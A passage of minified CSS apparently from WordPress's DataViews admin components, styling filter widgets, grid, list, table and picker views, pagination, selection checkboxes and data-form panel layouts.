-5px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{content:"\f460";display:inline-block;float:left;font:normal 30px/1 dashicons;vertical-align:middle;width:16px;speak:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@media (min-width:782px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{float:none;font-size:21px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:disabled,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-disabled=true]{background:#f0f0f0;border-color:#ddd;cursor:default;opacity:1}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{background:#fff;color:#1e1e1e;height:var(--checkbox-size);margin:0;padding:0;position:relative;width:var(--checkbox-size)}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{--checkbox-size:16px}}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{transition:border-color .1s ease-in-out}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected{background:var(--wp-admin-theme-color,#3858e9);border-color:var(--wp-admin-theme-color,#3858e9)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected svg{--checkmark-size:var(--checkbox-size);fill:#fff;height:var(--checkmark-size);left:50%;position:absolute;top:50%;transform:translate(-50%,-50%);width:var(--checkmark-size)}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected svg{--checkmark-size:calc(var(--checkbox-size) + 4px)}}.dataviews-filters__search-widget-filter-combobox__wrapper{padding:8px;position:relative}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;line-height:normal;padding:6px 8px}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{transition:box-shadow .1s linear}}@media (min-width:600px){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{font-size:13px;line-height:normal}}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-moz-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:-ms-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{display:block;font-size:16px;height:32px;margin-left:0;margin-right:0;padding:0 8px 0 32px;width:100%}@media (min-width:600px){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{font-size:13px}}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{background:#fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::placeholder{color:#757575}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-decoration{-webkit-appearance:none}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon{align-items:center;bottom:0;display:flex;inset-inline-start:12px;justify-content:center;position:absolute;top:0;width:24px}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon:dir(ltr){transform:scaleX(-1)}.dataviews-filters__container-visibility-toggle{flex-shrink:0;position:relative}.dataviews-filters-toggle__count{background:var(--wp-admin-theme-color,#3858e9);border-radius:8px;box-sizing:border-box;color:#fff;font-size:11px;height:16px;line-height:16px;min-width:16px;outline:var(--wp-admin-border-width-focus) solid #fff;padding:0 4px;position:absolute;right:0;text-align:center;top:0;transform:translate(50%,-50%)}.dataviews-search{width:fit-content}.dataviews-filters__user-input-widget{padding:16px}.dataviews-filters__user-input-widget .components-input-control__prefix{padding-left:8px}.dataviews-filters__search-widget-no-elements{align-items:center;display:flex;justify-content:center;padding:16px}.dataviews-footer{background-color:#fff;border-top:1px solid #f0f0f0;bottom:0;flex-shrink:0;left:0;padding:12px 48px;position:sticky}@media not (prefers-reduced-motion){.dataviews-footer{transition:padding .1s ease-out}}.dataviews-footer{z-index:2}@container (max-width: 430px){.dataviews-footer{padding:12px 24px}}@container (max-width: 560px){.dataviews-footer{flex-direction:column!important}.dataviews-footer .dataviews-bulk-actions-footer__container{width:100%}.dataviews-footer .dataviews-bulk-actions-footer__item-count{flex-grow:1}.dataviews-footer .dataviews-pagination{justify-content:space-between;width:100%}}.dataviews-pagination__page-select{font-size:11px;font-weight:500;text-transform:uppercase}@media (min-width:600px){.dataviews-pagination__page-select .components-select-control__input{font-size:11px!important;font-weight:500}}.dataviews-action-modal{z-index:1000001}.dataviews-picker-footer__bulk-selection{align-self:flex-start;height:32px}.dataviews-picker-footer__actions{align-self:flex-end}.dataviews-selection-checkbox{--checkbox-input-size:24px}@media (min-width:600px){.dataviews-selection-checkbox{--checkbox-input-size:16px}}.dataviews-selection-checkbox{flex-shrink:0;line-height:0}.dataviews-selection-checkbox .components-checkbox-control__input-container{margin:0}.dataviews-view-config{container-type:inline-size;font-size:13px;line-height:1.4;width:320px}.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper{height:100%;overflow-y:scroll}.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper .dataviews-view-config{width:auto}.dataviews-view-config__sort-direction .components-toggle-group-control-option-base{text-transform:uppercase}.dataviews-settings-section__title.dataviews-settings-section__title{font-size:15px;line-height:24px}.dataviews-settings-section__sidebar{grid-column:span 4}.dataviews-settings-section__content,.dataviews-settings-section__content>*{grid-column:span 8}.dataviews-settings-section__content .is-divided-in-two{display:contents}.dataviews-settings-section__content .is-divided-in-two>*{grid-column:span 4}.dataviews-settings-section:has(.dataviews-settings-section__content:empty){display:none}@container (max-width: 500px){.dataviews-settings-section.dataviews-settings-section{grid-template-columns:repeat(2,1fr)}.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__content,.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__sidebar{grid-column:span 2}}.dataviews-field-control__field{height:32px}.dataviews-field-control__actions{position:absolute;top:-9999em}.dataviews-field-control__actions.dataviews-field-control__actions{gap:4px}.dataviews-field-control__field.is-interacting .dataviews-field-control__actions,.dataviews-field-control__field:focus-within .dataviews-field-control__actions,.dataviews-field-control__field:hover .dataviews-field-control__actions{position:unset;top:unset}.dataviews-field-control__icon{display:flex;width:24px}.dataviews-field-control__label-sub-label-container{flex-grow:1}.dataviews-field-control__label{display:block}.dataviews-field-control__sub-label{color:#757575;font-size:11px;font-style:normal;margin-bottom:0;margin-top:8px}.dataviews-view-grid-items{container-type:inline-size;display:grid;gap:32px;grid-template-columns:repeat(auto-fill,minmax(230px,1fr));grid-template-rows:max-content;margin-bottom:auto;padding:0 48px 24px}@container (max-width: 430px){.dataviews-view-grid-items{padding-left:24px;padding-right:24px}}@media not (prefers-reduced-motion){.dataviews-view-grid-items{transition:padding .1s ease-out}}.dataviews-view-grid .dataviews-view-grid__card{height:100%;justify-content:flex-start;position:relative}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{padding:8px 0 4px}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field{align-content:center;min-height:24px;overflow:hidden;text-align:start}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field--clickable{width:fit-content}.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{color:#1e1e1e}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after,.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-view-grid .dataviews-view-grid__media{aspect-ratio:1/1;background-color:#fff;border-radius:4px;overflow:hidden;position:relative;width:100%}.dataviews-view-grid .dataviews-view-grid__media img{height:100%;object-fit:cover;width:100%}.dataviews-view-grid .dataviews-view-grid__media:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;pointer-events:none;position:absolute;top:0;width:100%}.dataviews-view-grid .dataviews-view-grid__fields{font-size:12px;line-height:16px;position:relative}.dataviews-view-grid .dataviews-view-grid__fields:not(:empty){padding:0 0 12px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field-value:not(:empty){line-height:20px;min-height:24px;padding-top:2px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field{align-items:center;min-height:24px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-name{color:#757575;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:35%}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:65%}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field:not(:has(.dataviews-view-grid__field-value:not(:empty))){display:none}.dataviews-view-grid .dataviews-view-grid__badge-fields:not(:empty){padding-bottom:12px}.dataviews-view-grid__field-value:empty,.dataviews-view-grid__field:empty{display:none}.dataviews-view-grid__card .dataviews-selection-checkbox{left:8px;opacity:0;position:absolute;top:-9999em;z-index:1}@media not (prefers-reduced-motion){.dataviews-view-grid__card .dataviews-selection-checkbox{transition:opacity .1s linear}}@media (hover:none){.dataviews-view-grid__card .dataviews-selection-checkbox{opacity:1;top:8px}}.dataviews-view-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-grid__card:hover .dataviews-selection-checkbox{opacity:1;top:8px}.dataviews-view-grid__card .dataviews-view-grid__media-actions{opacity:0;position:absolute;right:4px;top:4px}.dataviews-view-grid__card .dataviews-view-grid__media-actions .dataviews-all-actions-button{background-color:#fff}@media not (prefers-reduced-motion){.dataviews-view-grid__card .dataviews-view-grid__media-actions{transition:opacity .1s linear}}@media (hover:none){.dataviews-view-grid__card .dataviews-view-grid__media-actions{opacity:1;top:4px}}.dataviews-view-grid__card .dataviews-view-grid__media-actions:has(.dataviews-all-actions-button[aria-expanded=true]),.dataviews-view-grid__card:focus-within .dataviews-view-grid__media-actions,.dataviews-view-grid__card:hover .dataviews-view-grid__media-actions{opacity:1}.dataviews-view-grid__media--clickable{cursor:pointer}.dataviews-view-grid__group-header{color:#1e1e1e;container-type:inline-size;font-size:15px;font-weight:500;margin:0 0 8px;padding:0 48px}@container (max-width: 430px){.dataviews-view-grid__group-header{padding-left:24px;padding-right:24px}}div.dataviews-view-list{list-style-type:none}.dataviews-view-list{margin:0 0 auto}.dataviews-view-list div[role=article],.dataviews-view-list div[role=row]{border-top:1px solid #f0f0f0;margin:0}.dataviews-view-list div[role=article] .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row] .dataviews-view-list__item-wrapper{box-sizing:border-box;padding:16px 24px;position:relative}.dataviews-view-list div[role=article] .dataviews-view-list__item-actions,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions{display:flex;flex:0 0 auto;gap:4px;white-space:nowrap;width:max-content}.dataviews-view-list div[role=article] .dataviews-view-list__item-actions .components-button,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions .components-button{position:relative;z-index:1}.dataviews-view-list div[role=article] .dataviews-view-list__item-actions>div,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>div{height:24px}.dataviews-view-list div[role=article] .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>:not(:last-child){flex:0;overflow:hidden;width:0}.dataviews-view-list div[role=article]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions>:not(:last-child){flex-basis:min-content;overflow:unset;width:auto}@media (hover:none){.dataviews-view-list div[role=article] .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>:not(:last-child){flex-basis:min-content;overflow:unset;width:auto}}.dataviews-view-list div[role=article].is-selected.is-selected,.dataviews-view-list div[role=article].is-selected.is-selected+div[role=article],.dataviews-view-list div[role=article].is-selected.is-selected+div[role=row],.dataviews-view-list div[role=row].is-selected.is-selected,.dataviews-view-list div[role=row].is-selected.is-selected+div[role=article],.dataviews-view-list div[role=row].is-selected.is-selected+div[role=row]{border-top:1px solid rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-view-list div[role=article]:not(.is-selected) .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected) .dataviews-view-list__title-field{color:#1e1e1e}.dataviews-view-list div[role=article]:not(.is-selected).is-hovered,.dataviews-view-list div[role=article]:not(.is-selected):focus-within,.dataviews-view-list div[role=article]:not(.is-selected):hover,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered,.dataviews-view-list div[role=row]:not(.is-selected):focus-within,.dataviews-view-list div[role=row]:not(.is-selected):hover{background-color:#f8f8f8;color:var(--wp-admin-theme-color)}.dataviews-view-list div[role=article]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=article]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=article]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected):hover .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__title-field{color:var(--wp-admin-theme-color)}.dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);color:#1e1e1e}.dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field{color:var(--wp-admin-theme-color)}.dataviews-view-list .dataviews-view-list__item{appearance:none;background:none;border:none;cursor:pointer;inset:0;padding:0;position:absolute;scroll-margin:8px 0;z-index:1}.dataviews-view-list .dataviews-view-list__item:focus-visible{outline:none}.dataviews-view-list .dataviews-view-list__item:focus-visible:before{border-radius:2px;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";inset:var(--wp-admin-border-width-focus);outline:2px solid #0000;position:absolute}.dataviews-view-list .dataviews-view-list__title-field{flex:1;line-height:24px;min-height:24px;overflow:hidden}.dataviews-view-list .dataviews-view-list__title-field:has(a,button){z-index:1}.dataviews-view-list .dataviews-view-list__media-wrapper{background-color:#fff;border-radius:4px;flex-shrink:0;height:52px;overflow:hidden;position:relative;width:52px}.dataviews-view-list .dataviews-view-list__media-wrapper img{height:100%;object-fit:cover;width:100%}.dataviews-view-list .dataviews-view-list__media-wrapper:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;position:absolute;top:0;width:100%}.dataviews-view-list .dataviews-view-list__field-wrapper{flex-grow:1;min-height:52px}.dataviews-view-list .dataviews-view-list__fields{color:#757575;display:flex;flex-wrap:wrap;font-size:12px;gap:12px;row-gap:4px}.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:has(.dataviews-view-list__field-value:empty),.dataviews-view-list .dataviews-view-list__fields:empty{display:none}.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field-value{align-items:center;display:flex;line-height:20px;min-height:24px}.dataviews-view-list+.dataviews-pagination{justify-content:space-between}.dataviews-view-list__group-header{color:#1e1e1e;font-size:15px;font-weight:500;margin:0 0 8px;padding:0 24px}.dataviews-view-table{border-collapse:collapse;border-color:inherit;color:#757575;margin-bottom:auto;position:relative;text-indent:0;width:100%}.dataviews-view-table th{color:#1e1e1e;font-size:13px;font-weight:400;text-align:left}.dataviews-view-table td,.dataviews-view-table th{padding:12px}.dataviews-view-table td.dataviews-view-table__actions-column,.dataviews-view-table th.dataviews-view-table__actions-column{text-align:right}.dataviews-view-table td.dataviews-view-table__actions-column--sticky,.dataviews-view-table th.dataviews-view-table__actions-column--sticky{background-color:#fff;position:sticky;right:0}.dataviews-view-table td.dataviews-view-table__actions-column--stuck:after,.dataviews-view-table th.dataviews-view-table__actions-column--stuck:after{background-color:#f0f0f0;bottom:0;content:"";display:block;left:0;position:absolute;top:0;width:1px}.dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{padding-right:0}.dataviews-view-table td.dataviews-view-table__checkbox-column .dataviews-view-table__cell-content-wrapper,.dataviews-view-table th.dataviews-view-table__checkbox-column .dataviews-view-table__cell-content-wrapper{max-width:auto;min-width:auto}.dataviews-view-table tr{border-top:1px solid #f0f0f0}.dataviews-view-table tr .dataviews-view-table-header-button{gap:4px}.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{padding-left:48px}.dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{margin-left:-8px}.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{padding-right:48px}.dataviews-view-table tr:last-child{border-bottom:0}.dataviews-view-table tr.is-hovered,.dataviews-view-table tr.is-hovered .dataviews-view-table__actions-column--sticky{background-color:#f8f8f8}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{opacity:0}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate{opacity:1}.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:0}.dataviews-view-table tr.is-hovered .components-checkbox-control__input,.dataviews-view-table tr.is-hovered .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:focus-within .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:hover .components-checkbox-control__input,.dataviews-view-table tr:hover .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:1}@media (hover:none){.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input,.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:1}}.dataviews-view-table tr.is-selected{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);color:#757575}.dataviews-view-table tr.is-selected,.dataviews-view-table tr.is-selected+tr{border-top:1px solid rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-view-table tr.is-selected:hover{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-table tr.is-selected .dataviews-view-table__actions-column--sticky{background-color:color-mix(in srgb,rgb(var(--wp-admin-theme-color--rgb)) 4%,#fff)}.dataviews-view-table tr.is-selected:hover .dataviews-view-table__actions-column--sticky{background-color:color-mix(in srgb,rgb(var(--wp-admin-theme-color--rgb)) 8%,#fff)}.dataviews-view-table thead{inset-block-start:0;position:sticky;z-index:1}.dataviews-view-table thead tr{border:0}.dataviews-view-table thead tr .components-checkbox-control__input.components-checkbox-control__input{opacity:1}.dataviews-view-table thead th{background-color:#fff;font-size:11px;font-weight:500;padding-bottom:8px;padding-left:12px;padding-top:8px;text-transform:uppercase}.dataviews-view-table thead th:has(.dataviews-view-table-header-button):not(:first-child){padding-left:4px}.dataviews-view-table tbody td{vertical-align:top}.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{align-items:center;display:flex;min-height:32px;white-space:nowrap}.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper.dataviews-view-table__cell-align-end{justify-content:flex-end}.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper.dataviews-view-table__cell-align-center{justify-content:center}.dataviews-view-table tbody .components-v-stack>.dataviews-view-table__cell-content-wrapper:not(:first-child){min-height:0}.dataviews-view-table .dataviews-view-table-header-button{font-size:11px;font-weight:500;padding:4px 8px;text-transform:uppercase}.dataviews-view-table .dataviews-view-table-header-button:not(:hover){color:#1e1e1e}.dataviews-view-table .dataviews-view-table-header-button span{speak:none}.dataviews-view-table .dataviews-view-table-header-button span:empty{display:none}.dataviews-view-table .dataviews-view-table-header{padding-left:4px}.dataviews-view-table .dataviews-view-table__actions-column{white-space:nowrap;width:auto}.dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{opacity:1}.dataviews-view-table.has-compact-density thead th:has(.dataviews-view-table-header-button):not(:first-child){padding-left:0}.dataviews-view-table.has-compact-density td,.dataviews-view-table.has-compact-density th{padding:4px 8px}.dataviews-view-table.has-comfortable-density td,.dataviews-view-table.has-comfortable-density th{padding:16px 12px}.dataviews-view-table.has-comfortable-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-comfortable-density th.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density th.dataviews-view-table__checkbox-column{padding-right:0}@container (max-width: 430px){.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{padding-left:24px}.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{padding-right:24px}}.dataviews-view-table-selection-checkbox{--checkbox-input-size:24px}@media (min-width:600px){.dataviews-view-table-selection-checkbox{--checkbox-input-size:16px}}.dataviews-column-primary__media{background-color:#fff;border-radius:4px;flex-shrink:0;max-width:60px;overflow:hidden;position:relative}.dataviews-column-primary__media img{height:100%;object-fit:cover;width:100%}.dataviews-column-primary__media:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;position:absolute;top:0;width:100%}.dataviews-view-table__cell-content-wrapper:not(.dataviews-column-primary__media),.dataviews-view-table__primary-column-content:not(.dataviews-column-primary__media){max-width:80ch;min-width:15ch}.dataviews-view-table__group-header-row .dataviews-view-table__group-header-cell{color:#1e1e1e;font-weight:500;padding:12px 48px}.dataviews-view-table col[class^=dataviews-view-table__col-]:not(.dataviews-view-table__col-primary){width:1%}.dataviews-view-picker-grid .dataviews-view-picker-grid__card{height:100%;justify-content:flex-start;position:relative}.dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-actions{padding:8px 0 4px}.dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-field{align-content:center;min-height:24px;overflow:hidden;text-align:start}.dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-field--clickable{width:fit-content}.dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-value{color:#1e1e1e}.dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__media:focus:after,.dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__media:after{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__media:after{box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__media:focus:after{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-view-picker-grid:focus-visible[aria-activedescendant]{outline:none}.dataviews-view-picker-grid:focus-visible [data-active-item=true]{outline:2px solid var(--wp-admin-theme-color)}.dataviews-view-picker-grid .dataviews-selection-checkbox{top:8px!important}.dataviews-view-picker-grid .dataviews-selection-checkbox input{pointer-events:none}.dataviews-view-picker-grid .dataviews-view-picker-grid__media{aspect-ratio:1/1;background-color:#fff;border-radius:4px;position:relative;width:100%}.dataviews-view-picker-grid .dataviews-view-picker-grid__media img{height:100%;object-fit:cover;width:100%}.dataviews-view-picker-grid .dataviews-view-picker-grid__media:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;pointer-events:none;position:absolute;top:0;width:100%}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields{font-size:12px;line-height:16px;position:relative}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields:not(:empty){padding:0 0 12px}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field-value:not(:empty){line-height:20px;min-height:24px;padding-top:2px}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field{align-items:center;min-height:24px}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-name{color:#757575;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:35%}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-value{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:65%}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field:not(:has(.dataviews-view-picker-grid__field-value:not(:empty))){display:none}.dataviews-view-picker-grid .dataviews-view-picker-grid__badge-fields:not(:empty){padding-bottom:12px}.dataviews-view-picker-grid__field-value:empty,.dataviews-view-picker-grid__field:empty{display:none}.dataviews-view-picker-grid__card .dataviews-selection-checkbox{left:8px;position:absolute;top:-9999em;z-index:1}@media (hover:none){.dataviews-view-picker-grid__card .dataviews-selection-checkbox{top:8px}}.dataviews-view-picker-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-picker-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-picker-grid__card:hover .dataviews-selection-checkbox{top:8px}.dataviews-view-picker-grid__media--clickable{cursor:pointer}.dataviews-view-picker-grid-group__header{color:#1e1e1e;font-size:15px;font-weight:500;margin:0 0 8px;padding:0 48px}.dataviews-controls__datetime{border:none;padding:0}.dataviews-controls__relative-date-number,.dataviews-controls__relative-date-unit{flex:1 1 50%}.dataviews-controls__date input[type=date]::-webkit-calendar-picker-indicator,.dataviews-controls__date input[type=date]::-webkit-inner-spin-button{-webkit-appearance:none;display:none}.dataviews-controls__date-preset{border:1px solid #ddd}.dataviews-controls__date-preset:active{background-color:#000}.dataforms-layouts-panel__field{align-items:flex-start!important;justify-content:flex-start!important;min-height:32px;width:100%}.dataforms-layouts-panel__field-label{align-items:center;display:flex;flex-shrink:0;hyphens:auto;line-height:20px;min-height:32px;width:38%}.dataforms-layouts-panel__field-label--label-position-side{align-self:center}.dataforms-layouts-panel__field-control{align-items:center;display:flex;flex-grow:1;min-height:32px}.dataforms-layouts-panel__field-control 